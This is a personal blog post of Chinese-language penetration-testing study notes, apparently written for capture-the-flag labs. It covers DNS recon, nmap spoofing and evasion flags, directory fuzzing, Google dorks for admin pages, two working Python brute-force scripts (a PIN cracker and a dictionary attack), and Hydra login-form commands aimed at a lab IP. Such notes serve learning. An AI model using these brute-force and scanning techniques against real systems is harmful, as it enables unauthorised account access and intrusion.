Frederick

Welcome to my Alter Ego's site!

Jan 20, 2025 - 3 minute read - Comments

脚本小子

DNS侦察

  • DNSMAP DNS枚举并保存为txt
  • DNSRecon A:IP MX:邮箱 NS:名称服务器 TXT:文本

​ IP地址反向查询

  • fierce 目标子域名和IP

主机枚举

  • ATK6 枚举主机,发现新设备,发起拒绝服务攻击,利用已知漏洞;检测内网中存活的IPv6主机

  • hping3 发送ICMP请求,DDoS攻击,扫描主机端口,Fin扫描

  • nmap 6种端口状态,–spoof-mac -伪造nmap所在主机地址,-f分段处理加大目标主机上防火墙的拦截难度,-D RND指定生成数量的伪造的随机IP地址,–data-string"“将自定义字符串(ASCII码)插入数据包

指纹识别

  • wappalyzer火狐插件

  • whatweb 修改请求消息HTTP -H:Snowwolf -U:Chrome,识别CMS,博客平台,中间件,Web框架模块,网站服务器,脚本,IP,cookie

  • WAF识别 防火墙 wafw00f –proxy=代理地址

目录扫描

  • dirb 需要登陆后的网站 -c “Cookie:….” 隐藏攻击者主机 -a
  • dirbuster 图形化界面
  • gobuster
  • ffuf -w指定字典文件 -u url
  • Wfuzz web应用程序的模糊测试工具,发现Web应用程序的隐藏资源 -w字典文件 –hc 404 url/FUZZ

​ 枚举php文件 FUZZ.php

​ 使用Wfuzz枚举用户名和密码

​ -f output.html保存为html文件在浏览器种打开

漏洞数据库

  • searchsploit 可以与nmap联动 nmap url -sV -oX nmap.xml//-oX将扫描结果保存到一个XML文件中用于与searchsploit工具联动,输入searchsploit –nmap nmap.xml

谷歌Hacking语法

  • 批量寻找网站后台

inurl:

intext:

intitle:

  • 指定网站寻找后台

site: inurl:/intext:/intitle:

  • 指定返回文件类型

filetype:

  • 批量寻找目录遍历漏洞

intext:index of/admin

intext:index of

暴力攻击

破解PIN码

import requests

ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number

# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
    formatted_pin = f"{pin:04d}"  # Convert the number to a 4-digit string (e.g., 7 becomes "0007")
    print(f"Attempted PIN: {formatted_pin}")

    # Send the request to the server
    response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")

    # Check if the server responds with success and the flag is found
    if response.ok and 'flag' in response.json():  # .ok means status code is 200 (success)
        print(f"Correct PIN found: {formatted_pin}")
        print(f"Flag: {response.json()['flag']}")
        break

运行

python pin-solver.py

字典攻击

字典攻击的有效性在于它能够利用人类倾向于优先选择容易记住的密码而不是安全的密码这一倾向。尽管屡次受到警告,但许多人仍然选择基于字典单词、常用短语、名称或容易猜测的模式等现成信息的密码。这种可预测性使他们容易受到字典攻击,攻击者会系统地针对目标系统测试预定义的潜在密码列表。

import requests

ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number

# Download a list of common passwords from the web and split it into lines
passwords = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/500-worst-passwords.txt").text.splitlines()

# Try each password from the list
for password in passwords:
    print(f"Attempted password: {password}")

    # Send a POST request to the server with the password
    response = requests.post(f"http://{ip}:{port}/dictionary", data={'password': password})

    # Check if the server responds with success and contains the 'flag'
    if response.ok and 'flag' in response.json():
        print(f"Correct password found: {password}")
        print(f"Flag: {response.json()['flag']}")
        break
 python3 dictionary-solver.py

Hydra

为 Hydra 构建 params 字符串

  • Form Parameters:这些是保存用户名和密码的基本字段。Hydra 将动态地用单词列表中的值替换这些参数中的占位符(^USER^和)。^PASS^

  • Additional Fields:如果表单包含其他隐藏字段或令牌(例如 CSRF 令牌),则它们也必须包含在params字符串中。如果它们的值随每次请求而变化,则它们可以具有静态值或动态占位符。

  • Success Condition:这定义了 Hydra 用来识别成功登录的标准。它可以是 HTTP 状态代码(例如S=302重定向)或服务器响应中特定文本的存在或不存在(例如F=Invalid credentialsS=Welcome)。

    Hydra 命令的一般结构http-post-form如下:

    hydra [options] target http-post-form "path:params:condition_string"
    
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302"

我们将使用 top-usernames-shortlist.txt作为用户名列表,使用 2023-200_most_used_passwords.txt作为密码列表。

例:

hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt 94.237.63.74 -s 35392 http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"

Web应用程序 Python渗透测试

comments powered by Disqus